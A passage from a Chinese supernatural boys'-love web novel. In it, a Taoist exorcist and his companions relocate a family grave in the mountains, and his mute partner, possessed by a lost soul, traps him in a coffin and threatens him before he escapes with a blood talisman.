经过一路的长途跋涉,大家关系也近了不少,总算不像刚见面时那么生疏,偶尔也能插科打诨两句。 赵嘉恒原本在袋子里扒拉零食,闻言抬头不满道:“喂,我刚才把我仅剩的一瓶口香糖都送给你吃了,你怎么能这么对我?” 清逸翻了个白眼:“我千里迢迢过来帮你家祖宗迁坟,你用一瓶口香糖就把我给打发了?” 赵嘉恒急了:“谁说我一瓶口香糖就把你给打发了,我又不是没付… 酬劳两个字还没说出口,坐在旁边摆弄罗盘的封凛忽然剧烈咳嗽了一声,皱眉开口:“时间不早了,都躺下睡吧,聊天容易惊动附近的脏东西。” 赵嘉恒一直对他的话深信不疑,闻言立刻闭了嘴,变得比白默年还安静,从行李箱抽出几件旧衣服垫在身下,找了个地方躺着睡觉。 清逸默默看了封凛一眼,神情万分幽怨:“大师兄,你是不是背着我们吃回扣了?” 封凛轻轻挑眉:“怎么,你有意见?” 有意见也得憋着,上次清逸撞了杜浩渺的跑车,那件事他到现在还没算账呢。 “没有没有没有,我就是心疼大师兄你一个人承受了太多。” 清逸连忙摇头表示自己没意见,并且偷摸从赵嘉恒箱子里抽了件名牌羊羔毛外套垫在身下当睡垫,和灵薇挨着一起睡了。 封凛见状这才收回视线,他把自己的登山包垫在身后,半靠在上面闭目养神,不知想起什么,又睁眼看向一旁的白默年,却见对方正抱着膝盖坐在地上,似乎并不怎么困倦。封凛拍了拍自己的腿,用手语对白默年道: 【过来睡一会儿,明天还要赶路。】 白默年看了他一眼,然后乖乖挪过来,慢慢倾斜身形,枕在了封凛腿上睡觉,墨色的发丝触感很好,给人一种极其柔软的感觉,像某种小动物。 封凛忍不住伸手轻揉了一下,这才闭上眼重新睡觉。 这座祠堂入夜后格外安静,连虫鸣声和风声都消失了,空气中一时只能听见大家此起彼伏的呼吸声。 赵嘉恒吃泡面的时候汤喝多了,后半夜是被尿憋醒的,他迷迷糊糊摸黑起身,勉强借着手机光线走到外面撒了泡尿,然后回到前厅准备继续睡觉,但没想到他刚走进祠堂中间,就见祖先雕像前不知何时站了抹黑色的身影,把他吓得顿时一激灵。祠堂的窗户已经很老旧了,苍白的月光从外面照射进来,不偏不倚刚好落在供桌前的香炉上,只见里面插着一把燃烧过半的线香,还是清逸进来时点的,赵嘉恒直到现在还记得对方说这句话时戏谑的神情: “我们是外来人,惊扰了这里的魂魄,所以必须意思意思,人吃饭,鬼就吃香火嘛。” 想到这里,赵嘉恒的后背顿时沁出一层冷汗,他死死盯着那道黑影,心跳声如擂鼓在胸腔里炸响,因为恐惧到极致,连声音都发不出来,活像被一只无形的大手掐住了喉咙。 朦胧的光影中,只见那抹黑影微微俯身,香炉里升起的青烟竟如活物般缠绕上他修长的指尖,而那把线香燃烧的速度也肉眼可见快了起来,当月光偏移的刹那,赵嘉恒终于看清了张苍白的侧脸,心中顿时一咯噔— 白默年正闭目凝神,鸦羽般的睫毛在眼下投出诡谲的阴影,缕缕青烟从他七窍钻入,分明是在吞食香火,似是察觉到窥视,白默年忽然缓缓转头看向门口的位置,唇角微扬,露出一个令人毛骨悚然的弧度,在月色下透着非活人的诡艳感。 176、你是谁 不知道为什么,昨天晚上所有人都睡得格外沉,直到日上三竿的时候才陆陆续续醒过来。封凛迷迷糊糊睁眼,就见赵嘉恒那张憔悴的脸猝不及防在眼前放大,对方挂着两个黑眼圈,明显一晚上都没怎么睡,语气哀怨:“封先生,你终于醒了。” 封凛伸手抹了把脸,这才发现外面太阳都升了起来,清逸和灵薇正在收拾行李箱,而白默年拿空瓶子去接了一些山泉水,留着等会儿给大家刷牙洗脸用。 封凛见赵嘉恒一副哭丧着脸的表情,慢半拍坐直身形,声音低沉倦懒,还带着几分没睡醒的惺忪:“你不是说今天打电话叫人过来帮着迁坟吗?人呢?” 赵嘉恒欲哭无泪,更发愁了:“我是打电话叫了人过来,但他们说走到碎石滩那里就找不到路了,死活进不来,就连导航也失灵了,我们好不容易走到这儿了,总不能出去接他们吧?” 清逸抖了抖自己行李箱里的道袍,在旁边吐槽道:“还迁什么坟?我看你家老祖宗气得棺材板都压不住了,说不定等会儿自己就能蹦出来。” 赵嘉恒闻言瞬间站起身瞪着他,都气结巴了:“你你你……你侮辱我家祖宗?!小心我告你!” 清逸慢悠悠开口:“你不侮辱你家祖宗,你倒是把祖坟找出来啊,连祖坟都找不到,你家祖宗都不想认你了吧?说不定他们正在下面开家族会议,考虑要不要把你除名呢。” 赵嘉恒气死了:“你……. 话未说完,白默年忽然端着一杯水和一个挤了牙膏的一次性牙刷朝着封凛走去,刚好从他们中间穿过,赵嘉恒见状活像被一只掐住脖子的鸡,声音戛然而止,手忙脚乱后退了好几步,差点被地上的行李箱绊倒。清逸顿时笑得乐不可支:“看你这个胆子,他就是给我大师兄送个牙刷,又不是来收你命的,至于吓成这样吗?” 赵嘉恒却出乎意料没和他吵嘴,而是略显慌张地看了白默年一眼,然后又飞快收回视线,低头胡乱把自己的衣服往行李箱塞:“谁……谁吓到了,我那是没站稳好不好。” 他语罢又没忍住悄悄看了眼白默年,但见对方神色如常,细心帮着大家一起收拾地上散落的东西,实在没什么不对劲的,严重怀疑自己昨天是不是太困出现了幻觉。 另外一边,封凛已经接过了白默年递来的牙刷,然后蹲在大门口刷牙,发型凌乱,主打一个狂放不羁。他漱完口正准备找个东西洗脸,结果身旁适时伸出一只白净修长的手,把刚刚沾好水泡开的压缩毛巾递给了他。 封凛见是白默年,用手语问道:【你洗了吗?】 白默年点点头,表示自己已经洗过了,又把毛巾往他面前递了递,示意封凛擦擦脸上的灰,白皙的指尖被冰冷的山泉水浸得有些微微发红。 封凛见状这才接过毛巾胡乱擦了把脸,他们这群人都不如白默年细心,带的东西也没他带的全,否则在这深山老林里还真要抓瞎。 大家简单洗漱了一番后,收拾东西就准备继续赶路,毕竟外面的人进不来,他们重新折返回去又不划算,干脆辛苦点自己迁坟算了。 封凛皱眉看向赵嘉恒:“你真不记得自己爷爷葬哪里了?” 赵嘉恒抓耳挠腮:“我有点印象,但是村子里的路好像变了,山上树又长得那么高,我实在认不清方位。” 封凛倒没怪他,毕竟既然有人在赵家祖坟做了手脚,又怎么会让外人轻易找到位置,估计四周的风水布局也都被改了。 他从背包里掏出一个小塑料瓶,用毛笔蘸着里面红艳的鸡液画了张寻亲符,然后烧成灰让赵嘉恒喝下去,紧接着刺破对方的右手中指,把鲜血挤出来滴在罗盘天池上,拿出一根红线在手指上绕了三圈。 就在这时,诡异的一幕发生了,只见赵嘉恒的鲜血滴在罗盘上后就自动流淌到了巽位,指针疯狂转动,最后指向了东南方位的一处山坡。 封凛目光一沉:“东南位,走!” 众人闻言立刻跟着罗盘的指引来到东南方一处背阴的山坡,刚刚踏入这片区域,所有人都不约而同地打了个寒颤,这里的温度比外面低了不少,阴森森得连阳光都照不进来。赵嘉恒下意识搓了搓胳膊,后退时脚下一绊,踉跄着差点摔倒。他低头一看,整个人顿时如遭雷击,浑身血液都凝固了——只见枯叶下方密密麻麻盘踞着数不清的黑蛇,蛇身纠缠蠕动,漆黑的鳞片折射出诡异的光泽,乍一看让人头皮发麻!“蛇、蛇啊!!!” 他脸色煞白,惊恐地大叫出声,双腿一软就要往后跌坐,封凛眼疾手快一把拽住他的后领,将他整个人提了起来,冷声警告道:“闭嘴,别乱动!”话音未落,封凛手腕一翻,不知从哪抓出一把雄黄粉,扬手撒向地面,粉末落地的瞬间,那些蛰伏在暗处的黑蛇顿时发出刺耳的“嘶嘶”声,如同被滚油泼到一般疯狂扭动起来,接二连三地向外逃窜。清逸和灵薇从小在山里修行,见惯了毒虫蛇蚁,见状也迅速从随身布袋里掏出雄黄粉,均匀撒在四周,把山坡上盘踞的黑蛇尽数驱散。白默年始终静立原地,未发一言,在无人察觉的角落,只见他右手微抬,指尖轻轻一翻——诡异的现象出现了,那些原本狂躁的黑蛇在看到他后竟像是见到天敌般瑟缩着退开,自动在他周围让出一条真空地带。封凛早在撒雄黄粉的时候就把白默年拽到了自己身后,以至于没注意到对方的小动作,他拿着罗盘走到山坡阴面观察环境,忽然发现这里矗立着一块斑驳的墓碑,碑上贴着一名男性老者的黑白头像,下方用褪色的金漆写着:先考赵公讳敬远之墓。 “赵嘉恒!”封凛冷不丁喊了一声:“过来认认,这是你爷爷的墓吗?” “哪里哪里?!我来看看!”赵嘉恒闻言瞬间来了精神,连害怕都顾不上,一路小跑到了封凛身旁,当他看见眼前那映老旧的石碑时,控制不住噗通一声直接跪在了地上,红着眼眶喊道:“爷爷,我终于找到你了!”他的声音细听有些哽咽,也不知道是因为这段时间家里的变故还是因为别的,毕竟是个富家公子哥儿,没经过什么挫折,进山这段时间吃的苦估计比他前半辈子还多了。封凛见状从行李箱里拿出几把折叠工兵铲,直接扔到了他面前:“是你爷爷就好办了,赶紧帮着一起挖坟,早点把人迁走。”赵嘉恒看着面前的铲子傻眼了:“啊?我也要挖啊?”清逸从包里拿出香炉和瓷碗,一边准备挖坟前的拜祭工作,一边吐槽道:“废话,你的祖宗你不挖谁挖?难道你站在旁边眼睁睁看着别人挖你祖宗的坟?好意思嘛你。”赵嘉恒一听也有道理,连忙拿着工兵铲站了起来:“好……好吧,我跟着你们一起挖。”说话间清逸和灵薇已经摆好了香案,只见他们插好线香,又往上供的瓷碗里倒了鸡血,一边撒纸钱一边绕着坟茔四处走动,最后取出一碗清水敬了敬天地,这才道:“可以动土了。”封凛一直在旁边站着,闻言率先下去了第一铲子,出声催促道:“动作快点,天黑前必须弄完。”赵嘉恒看见爷爷的坟被挖开,心中顿时一哆嗦,结结巴巴问道:“如果天黑前不弄完会怎么样?会变成僵尸吗?”“哐当”一声,封凛的铲子直接插进了土里,他缓缓转头,看赵嘉恒的眼神仿佛在看一个智障:“你脑子里装的都是什么?”“噗嗤——”灵薇忍了又忍,终于没忍住笑出声:“你不是说你爷爷早就火葬了吗,里面放的是骨灰盒,骨灰盒里还能蹦出个僵尸来啊?”赵嘉恒顿时张红了脸,活像只煮熟的大虾,只能把脑装埋得低低的,抡起铲子拼命刨土,恨不得把自己埋进去,清逸在旁边憋笑憋得直咳嗽,被灵薇偷偷掐了一把才勉强正经起来。大家都想早点挖完早点离开这个鬼地方,所以干起活来格外卖力,连白默年都拿了个工兵铲在旁边默默帮忙,不知过了多久,随着四周堆积的土块越来越多,底下终于露出了一个黑色的棺木。封凛见状停住动作,转身从背包里拿出两个撬棍,隔空扔给清逸一个:“棺材被钉死了,先撬开再说。” “好嘞!” 清逸挖人祖坟的事明显做多了,他接过撬棍之后一只脚站在地上,一只脚踩着棺木,驾轻就熟地开始撬钉子,伴随着一阵令人牙酸的木头声响起,镶嵌在棺木四角的铜钉终于被拔了出来。因为棺材抬不上来,所以封凛和清逸只能跳进土坑里,伴随着“嘎吱”一声刺耳的响动,厚重的棺盖被他们两个用力推开,一股陈年的檀木香混合着某种草药的气息扑面而来,与预想中的腐臭截然不同。只见棺材里面铺着上好的锦缎,正中间端端正正摆放着一个通体漆黑的骨灰盒,盒身用金线勾勒出繁复的仙鹤纹路,哪怕光线黯淡也不难感受到价格不菲,四周还放着一些零零散散的陪葬品,有茶壶,有家人的合照,还有一枚古老的婚戒。封凛见状把骨灰盒抱起来递给站在上面等着的赵嘉恒,然后又把那些零零散散的陪葬物用锦缎包起来一起递过去,等做完这一切,他拍了拍手上的灰,正准备借力翻上去,但没想到一直站在旁边的白默年忽然跳了下来。封凛见状一顿,用手语问道:【怎么了?】 白默年什么都没说,静静望着封凛,苍白的脸庞在阴影中显得格外诡异,下一秒他忽然抬手,在众人错愕的目光中猛地一推— “砰!” 封凛猝不及防跌入空棺,后背陷入了底下铺着的柔软锦缎上,还没等他反应过来,旁边的棺盖就忽然凭空飞起,“砰”一声扣了下来。 世界漆黑一片,彻底陷入了寂静。 封凛躺在漆黑狭窄的棺材里,顿时心惊肉跳起来,他抬手抵住棺盖,用力推了推——纹丝不动,实在想不明白白默年刚才为什么会做出那种惊人的举动,难不成真被鬼上身了不成?!他思及此处冷冷皱眉,咬破指尖,在空气中飞快划出一道借力符,然后往棺盖上用力一戳,结果还没等出去,怀里就诡异多了一具冰凉京子似游鱼般的身躯,紧紧地、亲密无间地抱着他。封凛心中一惊,瞳孔骤然收缩:“你是谁?!” “你说我是谁….?” 怀里的人慢条斯理反问。他像是很久没说过话了,低沉的噪音带着几分沙哑,尾调上扬勾人,苍白性感的锁骨间静静垂落着一枚碧绿色的、和封凛颈间一模一样的玉坠子。冷得像死人身上的温度。 177、禁锢 眼前的人分明是白默年,但又不是白默年,最直观的一点就是对方根本不可能说话,也根本听不见。封凛脸色难看,眼底寒芒闪现,声音却压得极低,像是怕惊扰了什么 “给你最后一次机会——从他身体里滚出去!” 他有把握能收拾面前的恶魂,但是没把握不会伤了白默年,只希望对方自己识趣离开,不要逼他动手。 漆黑的棺材里没由来响起一阵低笑声,封凛只感觉怀里那具冰凉的身体笑得都颤动了起来,那人蛇一般紧紧缠住他的脖颈,偏头把脸依赖贴在他的胸膛上——这是白默年平常最喜欢的姿势,吐息暖昧。 “可这本来就是我的身体啊…”冰凉的手指缓缓抚摸封凛绷紧的下颌,“你想让我滚去哪儿?” 封凛脸色一变,心脏如坠冰窟:“你说什么?!” 对方却不再回应。 棺木里一片漆黑,空气以肉眼可见的速度逐渐稀薄起来,腐朽的木质香混合着潮湿的泥土腥气,丝丝缕缕缠绕在鼻尖,在这狭窄的方寸之地,仿佛连时间都跟着凝滞了,封凛忽然生出一种错觉——自己好像早已死去多年,此刻不过是一具正在缓慢腐烂的躯壳,与怀中冰冷的“人”一同躺在棺木里等待永恒。 “我们就这样永远在一起,不好吗?” 那人忽然在黑暗中低低开口,柔软的发丝扫过封凛的下颌,带来的却是一股令人心悸的死亡气息,他的指尖一点点收紧,几乎要掐进封凛的血肉里,像是从地狱爬出来的恶鬼: “封凛……你知不知道我有多恨你把目光分给别人?” 封凛一怔,对方冰冷的唇瓣紧贴着他的耳廓,声音沙哑,每个字都带着扭曲的执念: “我恨人多的地方,恨那些乱七糟八的声音,更恨他们用那样恶心的眼神看着你……. “可是为了在你面前装得像个正常人……我不得不盯着他们的嘴巴,一遍遍去猜他们在说什么……但装的再像,我终究也不是正常人……. “自从进山之后,你所有的注意力都放在了赵嘉恒身上,白默年又是个哑巴,不出声就更容易被忽略,你知不知道被喜欢的人忽略有多难过,可是你一直都没发现…” 他的主语忽然有所改变,就像是另外一个灵魂住在白默年的身体里,感受着对方的喜怒哀乐,共享着同一段记忆与爱情,贴着封凛的胸膛喃喃自语: “你看……现在这样多好,再也不会有任何人来打扰我们了……” 对方的每一句话都让封凛感到震惊,他原本以为白默年是被恶魂附身,但现在怎么看都不太像,反而更像是中邪受了刺激,他在黑暗中蓄力的指尖几经迟疑,到底还是没有出手,缓缓落了下去。 “……默年。” 封凛顿了顿才艰难吐出这个名字,他实在是不知道该如何称呼对方了,他总感觉面前这个人就是如假包换的白默年,只不过进山后受了某种奇异力量的影响,放大了心里的阴郁情绪,所以才会变成这个样子,竭力放缓语气道,“我向你道歉好不好?你刚才说的那些问题我以前都没及时发现,进山之后可能只顾着看风水,不小心忽略了你的情绪,等我们出去之后我一定会注意的。”封凛知道白默年的心思比普通人要敏感一些,但不知是不是对方平常面对他的时候过于乖巧安静,再加上不吵不闹的,导致封凛有时候也会忽略一些细节。如果没有今天这出,可能封凛这辈子都不知道白默年心里是这么想的。 “没关系。” 或许是没料到封凛的态度这么好,白默年在黑暗中明显愣了一瞬,随即把脸贴在封凛的胸膛上轻轻蹭了蹭,他像某种柔软的小动物,刚才的阴鸷瞬间褪去,语气居然带着几分天真的单纯, “我永远都不会怪你的,我只是想让你一直陪着我。” 封凛终于找回了几分熟悉的感觉,身体也变得没那么僵硬了,他在黑暗中摸索着找到白默年的肩膀,迟疑一瞬,然后缓缓收紧怀抱,耳膜里是自己鼓噪的心跳声:“就算你不说,我也会一直陪着你的。”白默年抬头看向他,似乎有些不可置信:“真的吗?” 封凛点了点头:“真的。” 白默年闻言眼睛亮了亮,他紧紧抱住封凛,唇边的笑意温柔疹人,带着不可名状的蛊惑:“那我们一辈子待在这里好不好?我等着你死了,我再陪你一起死。” 他的耳朵一直贴着封凛的胸膛,等待面前这个活生生的男人逐渐停止心跳,然后和自己一起腐烂,多么可怕的念头,却给人一种奇异的满足感。 “只要死了,我们就能永远在一起了。” 封凛闻言心中一咯噔,他虽然以前穷得想死,但是他马上就有钱了,赵嘉恒还欠他两千五百万尾款没付呢,死在这里多不划算?! 封凛大脑飞速运转,试图打消白默年这种危险的念头,斟酌开口:“其实……你不觉得我们活着可以更好的在一起吗?当然……死了我肯定也愿意和你在一起,但是我们现在还能活,为什么不多享受一下生活呢?而且你现在也能说话了…….后面一句他不自觉放轻了音量,带着几分难以察觉的试探。 “说话?” 不知是不是错觉,白默年在咀嚼这个词的时候唇边浮现出了一抹讥讽的弧度,他噪音阴凉缓慢,让棺材里本就不高的温度瞬间下降了好几个度, “可是我如果和你离开这座山,很快又会变成从前的样子。” 他冰凉的指尖轻轻划过封凛的咽喉,就像一条冰凉带着毒性的蛇,所过之处让人引起一阵战栗,声音温柔,仿佛情人低语, “我不想再变成那个躲在角落里,只能看着你和别人谈笑风生的哑巴,也不想变成一个连表达愤怒都要靠砸东西的废物,你懂吗?” 封凛敏锐从他刚才的那段话里捕捉到了一些信息,惊疑不定问道:“为什么你和我离开这座山后就会重新变成哑巴?” 白默年却不说话了。 他在黑暗中平静注视着封凛,感受着对方因为缺氧而逐渐急促起来的呼吸,感受着对方越来越快的心跳,仿佛已经嗅到了死亡临近的气息,最后无声闭目,又重新躺回了封凛的怀里,唇边带着满足的微笑。封凛艰难喘着气,开始在脑海中飞速推敲造成白默年现在这样的原因。 首先对方可以说话了,也可以听见了,无论从唯物主义角度来看还是从他们道门的角度来看这都是不科学的,毕竟对方被改了命变成天残地缺,比正常人少了一魂一魄,如果想恢复正常就必须找到丢失的一魂一魄。刚才白默年说他如果离开这座山就会重新变成哑巴,难道他缺少的一魂一魄被别人困在了这座山里?一旦离开这座山的范围,魂魄无法跟随,就会重新变成哑巴? 封凛觉得这个猜测是合理的,怪不得昨天白默年手里的香灭了自己却没感觉他有什么不对劲,甚至也没从对方身上嗅到孤魂野鬼的气息,因为附身的魂魄本来就是白默年身体的一部分。 至于对方为什么会变得这么反常,可能是因为那一魂一魄被山里的阴邪之气侵蚀太久,附身后无限放大了白默年内心的阴暗面,以至于做出一些失控的行为。 想到这里,封凛后知后觉意识到了一件事,他这辈子明明从一开始就知道白默年不是个善茬,怎么被对方乖巧懂事的假象给欺骗了呢? ——本来就不是个善茬,现在还找到了自己丢失的那一部分恶魂,岂不是恶上加恶? 封凛太阳穴疼得突突直跳,忽然感觉自己今天想活着出去简直是天方夜谭,但他并不是一个坐以待毙的人,很快又强打起了精神,在寂静的棺材里轻声开口: “默年?默年?我快呼吸不上来了,你把棺材打开让我透透气好不好?” 封凛在黑暗中摸索到白默年冰冷的手腕,声音因为缺氧而变得断断续续的,语气温柔,半哄半骗, “默年……我真的没办法呼吸了……你就打开一小条缝隙,我保证不逃跑……. 或许是他的样子看起来确实很难受,又或者是他的声音听起来很虚弱,白默年确实出现了短暂的迟疑,他漆黑的眼睛死死盯着封凛,最后缓慢抬起苍白修长的指尖,一字一句低声警告道:“别骗我,否则我真的会亲手杀了你。” 让封凛躺在这具棺材里因为窒息而失去生命,已经是白默年所能想到的最温和的死亡方式,他并不想亲手掐断对方的脖子,也并不想亲手挖出对方的心脏。“咔——” 当最后一个字音落下的时候,只听沉重的棺盖忽然发出一声闷响,像是被外力推动般发生偏移,露出了一条半指宽的小缝,新鲜的空气瞬间涌入,驱散了棺材里室息的沉默。 “咳咳咳咳咳!!!” 封凛因为呼吸得太快,忍不住偏头爆发出一阵剧烈的咳嗽声,同时借着姿势遮掩看向缝隙外面—— 此时天色已经陷入了漆黑,隐约还能听见山林里传来的虫鸣声,但就是看不见清逸他们的踪迹,活像人间蒸发了一样。 “别咳了。” 白默年冷不丁出声,阴郁的目光平静得好像一潭死水,盯着封凛幽幽开口, “你就算把肺都咳出来,他们也不会听见的。 178、大师兄他挂了 封凛的咳嗽声瞬间停止。 ——说实话,他压根就没指望清逸他们会来救自己,只是单纯想确认一下他们还在不在棺材外面,答案显而易见,那群兔崽子要么脚底抹油溜了,要么被白默年用手段弄到别的地方去了,总之连根毛都没看见.……默年,你误会了。” 封凛咽了咽口水,斟酌着该怎么开口才不会触碰到对方那根敏感的神经, “我只是想知道清逸他们去哪儿了。” 白默年闻言微不可察勾了勾唇,他明明在笑,笑意却不达眼底,清俊的侧脸半掩在阴影中,割出的轮廓锋利而又陌生,低低叹了口气: “你瞧,我说过什么…… 他缓缓抚摸着封凛的侧脸,垂眸遮住了眼底危险的情绪:“只要有外人在场,你的注意力永远都不会停在我身上,我解决他们果然是对的……” 话未说完,封凛就一把攥住了他的手腕,惊疑不定问道:“你把他们杀了?!” 白默年淡淡挑眉,瞥了眼封凛攥住自己的手,唇边弧度愈深:“是啊,我杀了他们,那又怎么样?” 他漆黑的眼睛盯着封凛,笑意玩味:“还是说……你想杀了我?” 棺材里的气氛一瞬间凝固了起来,就像一座无形的大山压得人喘不过气,封凛不确定白默年是不是故意在骗自己,但他总觉得对方不是那种滥杀无辜的人,所以迟疑几秒就缓缓松开了手: “其实……其实清逸他们也不算是外人,他们是我的弟弟妹妹,不也是你的弟弟妹妹吗?” 封凛在心里默默给自己的机智点了个赞。 白默年却望着他冷笑道:“师弟师妹或许是,弟弟妹妹就不见得了吧?封凛,你鬼心思这么多,全都用来骗我了,让我怎么放心和你一起去外面的世界呢?” 出来混总是要还的,封凛自从认识白默年以来一直顺风顺水,今天终于还是翻车了,就在他还没想明白对方到底是什么时候发现漏洞的,只听“砰”的一声巨响,原本打开了一条缝隙的棺盖忽然又重新合上了,泄露了动手那人心中不易察觉的怒火。 封凛:“???” “我差点忘了……. 白默年阴冷的声音在黑暗中响起,喜怒难辨, “我本来就是要让你死的,又何必多此一举让你喘气?” 他打定主意,接下来无论封凛说什么他都不会再心软动摇,如果对方濒死的时候实在痛苦,他就亲手送对方上路,总之他们两个谁也不许离开这个棺材。 白默年原本以为封凛会闹,再不济也会愤怒咒骂,但没想到一阵冗长的静默过后,对方出乎意料吐出了一个字:. ……好。” 封凛在黑暗中摸索到白默年的肩膀,然后用力把对方重新按进自己怀里,像是终于做下了某种决定,语气关郑重道“默年,我就待在这儿,哪儿也不去,一辈子都陪着你。” 封凛的态度变得实在太快,快得简直让人怀疑他在演戏,而白默年大概率也是不信的。 求生是人的本能,封凛和他不一样,有亲人,有兄弟,有对未来的希望,又怎么可能甘心死在这个腐朽狭窄的棺材里? 可他不在乎…… 白默年感受到封凛逐渐收拢的怀抱力道,紧绷的身体终于有所软化,他重新倒入对方怀中,冰冷的指尖轻轻划过封凛脆弱的咽喉,意味不明警告道: “最后信你一次,再敢骗我……就亲手掐死你,知道了吗?” 封凛不语,而是在黑暗中温柔挑起他的下巴,悄无声息落下了一个绵长的吻,当唇瓣相触的瞬间,白默年的身体因为惊讶轻颤了一瞬,紧接着就被男人看准时机撬开牙缝,肆意攻城略地。这是他们之间第二次真正意义上的吻。 第一次是在线下聚会结束后开车回去的途中。 虽然时间地点不同,但空间都一样的狭窄漆黑,心跳都一样快得不受控制。 “唔…….白默年睫毛颤动,被迫仰头回应着这个突如其来的吻,他很少和封凛这么负距离接近,鼻翼间充斥着对方身上熟悉的气息,苍白的脸颊很快蔓延一层醉人的绯色,终于恢复了几分平常乖巧又容易脸红的性格。白默年被吻得缺氧,连神智也错乱起来,恍惚间只感觉封凛修长的指尖顺着钻进了他的衣服下摆,沿着腰线灵活游走,带着薄茧的指腹若有似无地摩挲着肌肤,激起一阵细微的战栗。最外面的黑色外套被脱了下来,衣料摩擦的窸窣声在棺材中显得格外清晰,单薄的白色T恤下,白默年的身形显得更加清瘦,锁骨在昏暗的光线里勾勒出脆弱的弧度。 “怕不怕?” 封凛的声音因为情.欲而变得沙哑,落在耳朵里就像被羽毛拂过,又痒又酥麻。 白默年不确定封凛是不是想在这里做,墨色的眼睛罕见闪过了一丝迷茫,不知道该如何回应对方这个问题。 封凛似乎察觉到了他的犹豫,低笑一声,再度吻上他的唇,舌尖抵开齿关,缠绵又凶狠地掠夺着他的呼吸,不多时两人的唇齿间就弥漫着淡淡的铁锈味。 “默年…….”封凛终于舍得放开他,嗓音低沉得近乎模糊,带着几分若有似无的叹息,“我要是死了,就再也没办法像这样亲你了。“ 这句话像一根尖针刺进心脏,白默年敏锐从这句话里听出了几分弦外之音,然而还没等他细想,手腕便被猛地扣住,下一秒,那件被丢弃的黑色外套紧紧缠了上来,封凛的动作又快又狠,转眼间就把他的双手死死缚在身后。 ——他上当了。 白默年不可置信望着封凛,原本墨色的眼睛瞬间变成了猩红色,就像是从地狱里爬出的恶鬼,他的声音阴冷骇人,带着歇斯底里的疯狂和扭曲:“封凛!你敢骗我—!!” 骗? 封凛心想他可没骗白默年,大不了等将来两个人快寿终正寝了来这里买块墓地,一样不分开——只不过现在还不是时候。 电光火石间,封凛骤然发力,一个翻身将白默年死死压制在身下,他单手掀起对方那件单薄的白色T恤,另一手毫不犹豫递到唇边咬破,鲜血涌出的瞬间,他指尖翻飞,在白默年苍白的胸腹间画下一道繁复的镇灵符。殷红的血痕在冷白的肌肤上蜿蜒,勾勒出诡谲的纹路,在昏暗的光线下泛着妖异的色泽。原本剧烈挣扎的白默年突然僵住,脸上的愤怒凝固成痛苦而扭曲的表情,身体却像是被无形的锁链束缚,连指尖都无法颤动分毫。封凛没有半分停顿,沾血的指尖迅速结印,猛地向头顶上方击去—— “破!” 随着一声冷冷的低喝,棺盖上的结界应声碎裂,厚重的棺盖像是被一股无形的力量掀飞,重重砸在数米外的地面上,发出震耳欲聋的巨响,新鲜的空气夹杂着泥土腥气瞬间涌入,夜色笼罩了整座山林。直到这个时候,封凛才终于长舒一口气,他单手撑住棺沿,矫健翻身而出,黑色的外套下摆在夜风中猎措作响,转身回望时恰好对上白默年阴冷骇人的视线,不由得笑了笑。 “乖一点。”封凛轻轻弯腰,抬手拨开白默年眼前的碎发,落下一个蜻蜓点水般的吻,声音温和,带着安抚意味:“等会儿我就带你下山。” 这个吻让白默年眼底愤怒扭曲的神情凝固了一瞬,但下一刻,那双眼睛里就翻涌起咬牙切齿的恨意,如同淬了毒的刀刃刺向封凛,意思明确—一 你又想骗我?!! 封凛低笑一声:“放心,这次肯定不骗你。” 夜风掠过树梢,发出沙沙的声响。 封凛语罢直起身,脸上笑意瞬间消失,目光如鹰隼般扫视着四周——如果想把一个人的魂魄困在某处,就必须有一个存储魂魄的容器,这个容器可以是尸体,也可以是某个经过淬炼的法器,既然白默年是在这里才忽然反常的,那么“容器”也一定在附近。封凛发现自己的背包还散落在棺木旁,从里面找到自己的罗盘,然后取出三枚铜钱扔了一个卦测算,最后沿着指针的方向顺着墓碑正前方走了七步停住,用工兵铲往下深挖,不多时就见褐色的土壤下方露出一个金属边角。封凛单膝跪地,徒手拨开松散的泥土,一个泛着诡异青光的金属边角渐渐显露出来,当他把那个铜像完全挖出来的时候,瞳孔骤然收缩。——那是一个约莫手掌大小的金属人偶,双手以极其扭曲的姿势抱肩,低垂的头颅上刻满密密麻麻的咒文,看起来很是邪门,像南洋那边供奉的“毗舍遮”,也就是食尸鬼。封凛从来没见过这种东西,但他肯定这个就是用来禁锢住白默年一魂一魄的容器,拿在手里端详片刻,最后皱眉装进了外套内侧的口袋,然后拉好拉链,重新折返回棺材旁边。白默年不知是不是已经猜到封凛已经找到那个金属铜像,看向他的目光变得复杂万千,只是因为镇灵符的镇压暂时没办法开口说话。封凛仿佛读懂了白默年内心的想法,用指尖轻轻描摹他的眉眼:“放心,我不会做没把握的事,与其在这里长埋地底,难道你就不想让那些害你的人付出代价吗?”冰冷的月色下,白默年闻言瞳孔骤然收缩,睫毛剧烈颤抖了一瞬,那不再是面对封凛时失去理智的疯狂怒火,而是淬了毒的、清醒的恨意。 “这才像话。” 封凛眼底笑意更深,他弯腰把白默年从棺材里抱出来,却没解开对方身上的束缚,毕竟是个危险份子,还是等下了山再解吧。 封凛掂了掂白默年的重量,发现自己还能承受,出声询问道:“清逸他们呢?被你弄哪儿去了?” 不知是不是因为事成定局,白默年清楚知道再挣扎也没用,整个人变得出奇安静沉默,他听见封凛的问话,掀起眼皮看了过去,神情似)几似汉,冷冷勾唇,目光无声透出一句话— 【你不是很厉害吗?自己找啊。】 封凛却好像没读懂似的,低头在他冰凉的唇上重重亲了一口,声音带着玩味的笑意:“差点忘了。你现在说不了话,我还是自己找吧。” 想找清逸他们的身影其实也好找,毕竟山路泥泞,很容易看见脚印。 其实白默年一开始压根就没有打算杀了清逸他们,只是施了一个障眼法,让他们误以为自己迁坟后跟着封凛一起下了山,只不过途中“封凛”因为意外失足跌落山崖摔 死,这样清逸他们就算离开了这里,带出去的也是封凛的死讯。于是当封凛沿着路上泥泞的痕迹一直找到山外围附近时,就见清逸等人趴在一处悬崖边嚎啕大哭,面前是一条身体断成两截的黑蛇尸体,鲜血淌了一地,在月色下泛着诡异的光泽。 清逸跪趴在地上,一边拿着手机打电话,另外一只手则用力锤地,哭得一把鼻涕一把泪,那叫一个凄惨:“呜呜呜呜呜呜师父!!不好了师父!!大师兄和我们进山的时候不小心摔死了,脖子都摔断了啊呜呜呜呜!!!这可怎么办啊!!你快回 来吧!!再晚点连魂都招不到了!!!” “我骗你干什么呜呜呜呜!!尸体都在面前摆着呢!师父我要是说半个字假话,你回来就拿棍子打死我!!” 179、直球恋爱选手 